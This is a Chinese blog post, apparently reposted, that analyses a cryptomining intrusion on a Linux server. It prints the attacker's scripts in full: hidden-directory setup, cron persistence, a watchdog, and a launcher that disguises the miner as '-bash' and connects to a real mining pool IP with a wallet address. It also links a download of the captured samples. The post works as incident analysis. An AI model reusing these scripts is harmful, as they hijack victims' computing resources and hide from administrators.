遭遇挖矿程序续集_详解黑客攻击步骤

2018-01-30 10:43:59来源:http://blog.csdn.net/Testingba/article/details/79191288作者:Testingba工作室人点击

分享
第七城市th7cn

下载链接: http://download.csdn.net/download/landehutu/10218235


背景:前几天写了一下遭遇挖矿程序后的处理步骤,当时弄了一个活体下来,但是没有说明那几个程序的细节,今天补上。


程序细节说明:



黑客先找到系统的漏洞,获得相应权限以后,在
oracle用户目录下创建了一个隐藏目录:
.data_oracle

linux
下小数点开头的
ls
不加
-a
参数就看不到。


然后把文件都上传到目录中,包括:



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 a



-rw-r--r--. 1 oracle oinstall 0 1月
18 11:46 bash.pid



-rw-r--r--. 1 oracle oinstall 0 1月
18 11:46 cron.d



-rw-r--r--. 1 oracle oinstall 0 1月
18 11:46 dir.dir



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 h32
:这个
32bit
进程是用来隐藏进程名称的



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 h64
:这个
64bit
进程是用来隐藏进程名称的



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 md
:这个是
64bit
的挖矿程序



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 md32
:这个是
32bit
的挖矿程序



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 mdx
:这个也是挖矿程序,只不过硬件架构不是
i686

x86_64



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 run



-rwxr--r--. 1 oracle oinstall 0 1月
18 11:46 upd
:这个文件是后来由
a
文件生成的



-rwxr-xr-x. 1 oracle oinstall 0 1月
18 11:46 x


现在开始依次聊聊文件内容:



上传完文件后,首先执行文件
x


nohup ./a >>/dev/null &



这句很简单,就是执行当前目录
(/home/oracle/.data_oracle)下的文件
a
,其他内容我就啰嗦点讲下吧。这行命令其实是三段
: nohup

./a >>/dev/null

&

/dev/null
是个设备文件,其实就是
windows
下的垃圾站,是个空文件,意思是所有
a
文件产生的输出都别显示了,就直接扔进了碎纸机里面。
&
是后台执行,那为什么还有个
nohup
呢,比如你在
windows
下,当前执行了一个程序,如果注销当前用户,这个程序也会退出,那怎么办呢,只有把这个程序交给操作系统去执行,这样就算注销了当前用户,程序还可以继续执行,
nohup
就是干这个的。



再来看看
a:


pwd > dir.dir


dir=$(cat dir.dir)


echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d


crontab cron.d


crontab -l | grep upd


echo "#!/bin/sh


if test -r $dir/bash.pid; then


pid=/$(cat $dir/bash.pid)


if /$(kill -CHLD /$pid >/dev/null 2>&1)


then


exit 0


fi


fi


cd $dir


./run &>/dev/null" > upd


chmod u+x upd


./upd



第一句是把当前目录名称写入文件
dir.dir中;



第二句变量
dir取得了当前目录;



第三句将
crontab内容写入
cron.d文件,随后一句就加载进入
crontab,
crontab
就是
windows
的计划任务,定时执行任务的,
crontab
的命令格式是:


minute hour day month week command



所以
* * * * * $dir/upd >/dev/null 2>&1意思就是一直执行
upd文件,
/dev/null
就不讲了,
2>&1
的意思是错误文件输出到标准输出中,下面是百度抄的,还看不懂的话,需要实际做做。



1)标准输入 即
STDIN ,

/dev/stdin ,



一般指键盘输入
, shell里代号是
0



2)标准输出
STDOUT,

/dev/stdout,



一般指终端
(terminal),就是显示器
, shell
里代号是
1



3)标准错误
STDERR,

/dev/stderr



也是指终端
(terminal),不同的是
,
错误信息送到这里



shell里代号是
2



后面代码是
echo一段代码输出到文件
upd
中,然后给
upd
赋予执行权限,最后执行
upd
文件。先看看上面生成的文件:



dir.dir:
/home/oracle/.data_oracle



cron.d:
* * * * * /home/oracle/.data_oracle/upd >/dev/null 2>&1



讲讲
upd:


#!/bin/sh


if test -r /home/oracle/.data_oracle/bash.pid; then


pid=$(cat /home/oracle/.data_oracle/bash.pid)


if $(kill -CHLD $pid >/dev/null 2>&1)


then


exit 0


fi


fi


cd /home/oracle/.data_oracle


./run &>/dev/null



首先检查一下文件
/home/oracle/.data_oracle/bash.pid是否可读,如果可读,就读出里面的进程
pid,直接
kill
掉,重新执行
run



看下进程
id的文件
b
ash.pid: 38790



run文件才是真正的启动命令的文件:


#!/bin/bash


proc=`nproc`


ARCH=`uname -m`


HIDE="-bash"


if [ "$ARCH" == "i686" ]; then


./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &


elif [ "$ARCH" == "x86_64" ]; then


./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &


else


./h64 -s $HIDE ./mdx -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u 49GCPDCt138h1Qg25WfEynSZgCbQkWLr8KrtN5hUW1xwewEzf2YhmL477Zpf6CXUH5JXMtdEcy8rP8z6zKzJD5TADDb8QXs -p x >>/dev/null &


fi


echo $! > bash.pid



这个核心文件就是读出操作系统的硬件架构,如果是
i386就执行
32
位的
h32

md32
,猜测
h32
是用于让系统显示的进程名称,
md32
才是真正的挖矿程序。执行完成了就把进程
id
写入
bash.pid
中。


总结一下:


找系统漏洞;


获取权限;


创建目录;


上传文件;



执行
x,执行
a



a启动
crontab
执行
upd
,生成
upd
并赋权;



upd去执行
run



run去执行真正的挖矿程序。


第七城市th7cn

最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台